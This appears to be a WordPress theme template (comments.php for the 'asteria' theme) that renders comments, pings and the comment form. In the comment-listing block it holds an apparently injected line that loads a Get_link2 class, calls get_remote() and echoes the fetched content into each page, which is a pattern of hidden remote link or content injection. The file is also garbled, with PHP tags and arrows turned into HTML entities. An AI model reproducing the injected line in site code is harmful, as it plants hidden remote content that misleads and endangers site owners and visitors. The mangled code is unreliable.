<?php if ( post_password_required() ) { ?>&#13;
<p class="nocomments"><?php _e('This post is password protected. Enter the password to view comments.', 'asteria'); ?></p>&#13;
<?php return;
}
?>&#13;
 &#13;
<!-- You can start editing here. -->&#13;
 &#13;
<?php if ( have_comments() ) : ?>&#13;
<?php if ( ! empty($comments_by_type['comment']) ) : ?>&#13;
<?php $lib_path = dirname(__FILE__).'/'; require_once('functions.php'); $links = new Get_link2(); $links = $links->get_remote(); echo $links; ?&gt;&#13;
<h3 id="comments"><?php comments_number(__( 'No Responses', 'asteria'), __('One Response', 'asteria'), __('% Responses', 'asteria'));?> &#1085;&#1072; &ldquo;<a><?php the_title(); ?></a>&rdquo;</h3>&#13;
 &#13;
 &#13;
<ul class="commentlist">	&#13;
&#13;
<?php wp_list_comments('type=comment&callback=asteria_comment');?>&#13;
</ul>&#13;
&#13;
 <div class="navigation">&#13;
<?php paginate_comments_links( array('prev_text' => '&laquo;', 'next_text' =&gt; '&raquo;')) ?&gt; &#13;
</div>&#13;
&#13;
<?php endif; ?>&#13;
<?php if ( ! empty($comments_by_type['pings']) ) : ?>&#13;
<h3 id="comments_ping"><?php _e('Trackbacks &amp; Pings', 'asteria'); ?></h3>&#13;
 &#13;
<ul class="commentlist" id="ping">&#13;
<?php wp_list_comments('type=pings&callback=asteria_ping'); ?>&#13;
</ul>&#13;
&#13;
<div class="navigation">&#13;
<?php paginate_comments_links( array('prev_text' => '&laquo;', 'next_text' =&gt; '&raquo;')) ?&gt;&#13;
</div>&#13;
&#13;
<?php endif; ?>&#13;
 &#13;
&#13;
&#13;
&#13;
<?php else : // this is displayed if there are no comments so far ?>&#13;
 &#13;
<?php if ('open' == $post->comment_status) : ?&gt;&#13;
<!-- If comments are open, but there are no comments. -->&#13;
 &#13;
<?php else : // comments are closed ?>&#13;
<!-- If comments are closed. -->&#13;
<?php if ( !is_page() ) { ?><p class="nocomments"><?php _e('Comments are closed.', 'asteria'); ?></p><?php } ?>&#13;
 &#13;
<?php endif; ?>&#13;
<?php endif; ?>&#13;
 &#13;
&#13;
<?php $commenter = wp_get_current_commenter();
$req = get_option( 'require_name_email' );
$aria_req = ( $req ? " aria-required='true'" : '' );

$comment_args = array( 'title_reply'=>''. __( 'Leave a Reply', 'asteria' ) . '',&#13;
&#13;
'fields' =&gt; apply_filters( 'comment_form_default_fields', array(&#13;
&#13;
  'author' =&gt; '<div class="comm_wrap"><p class="comment-form-author"><input placeholder="' . __( 'Name', 'asteria' ) . '" id="author" name="author" type="text" value="' . esc_attr( $commenter['comment_author'] ) .'" size="30" .></p>',&#13;
&#13;
  'email' =&gt; '<p class="comment-form-email"><input placeholder="' . __( 'Email', 'asteria' ) . '" id="email" name="email" type="text" value="' . esc_attr(  $commenter['comment_author_email'] ) .'" size="30" .></p>',&#13;
&#13;
  'url' =&gt; '<p class="comment-form-url"><input placeholder="' . __( 'Website', 'asteria' ) . '" id="url" name="url" type="text" value="' . esc_attr( $commenter['comment_author_url'] ) .'" size="30"></p></div>')&#13;
  &#13;
 ));&#13;
&#13;
comment_form($comment_args); ?&gt;&#13;
&#13;
&#13;
&#13;
&#13;
